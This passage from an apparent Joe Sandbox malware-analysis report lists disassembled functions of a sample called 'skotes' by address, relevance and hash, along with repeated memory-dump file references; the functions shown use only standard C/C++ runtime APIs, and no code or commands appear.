                                                                                                                                                                                                                                                                                    • Opcode ID: 24977edb7926998069b81e6cd400f6f5ffcfd33f6ddb23743599ad41e7bd509d
                                                                                                                                                                                                                                                                                    • Instruction ID: caccda29b20661d0e989ef930365692b7d402892026fe228b940e8c3893ba6ed
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 24977edb7926998069b81e6cd400f6f5ffcfd33f6ddb23743599ad41e7bd509d
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 0711E179940204A7DB24EBA4CD46FEE72B86F10754F208565F508A60C1DF74EA04C671
                                                                                                                                                                                                                                                                                    Function 0017A0EE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 0017A102
                                                                                                                                                                                                                                                                                    • Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 0017A126
                                                                                                                                                                                                                                                                                    • std::invalid_argument::invalid_argument.LIBCONCRT ref: 0017A139
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: Resource$Concurrency::details::Execution$CurrentManager::Proxy::RemoveSchedulerThreadstd::invalid_argument::invalid_argument
                                                                                                                                                                                                                                                                                    • String ID: pScheduler
                                                                                                                                                                                                                                                                                    • API String ID: 246774199-923244539
                                                                                                                                                                                                                                                                                    • Opcode ID: b40ad92ea9be8e37743ddaf8b9a6a722be768d9bcf728eeb662264f3724529bc
                                                                                                                                                                                                                                                                                    • Instruction ID: 110e2170002fc9ccd52bb6ac3a164cd1da0588e885487753468757379b2ca37b
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: b40ad92ea9be8e37743ddaf8b9a6a722be768d9bcf728eeb662264f3724529bc
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 46F0E939A40204A7C725FA54DC93C9EB3789EE0754B90C129E41E57181DB70AA05CA92
                                                                                                                                                                                                                                                                                    Function 0018CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: _strrchr
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 3213747228-0
                                                                                                                                                                                                                                                                                    • Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
                                                                                                                                                                                                                                                                                    • Instruction ID: 2eb083a6371ac2f8f0dca9398f96fb3caf03f1623d118ed8fb15b3f4ed5241ea
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: ECB112329006469FDB15EF68C881BAEBFA5EF55340F15816AE855EB242D7349E01CFF0
                                                                                                                                                                                                                                                                                    Function 001967A9 Relevance: 6.2, APIs: 4, Instructions: 245COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: __alloca_probe_16__freea
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1635606685-0
                                                                                                                                                                                                                                                                                    • Opcode ID: c1190ad0a5025d86292235dbf801df23fa18dd0d50fae4b3e52bc0db14ab7a7a
                                                                                                                                                                                                                                                                                    • Instruction ID: b7665940fc50608cfc11d0a7a5aad0fba0f47189fe59423012b7a1f1768522a9
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: c1190ad0a5025d86292235dbf801df23fa18dd0d50fae4b3e52bc0db14ab7a7a
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 2381BF72D0025AAFDF249FA58881EEF7BB9AF09354F194159E814BB281E735CD40CBB1
                                                                                                                                                                                                                                                                                    Function 0018504E Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
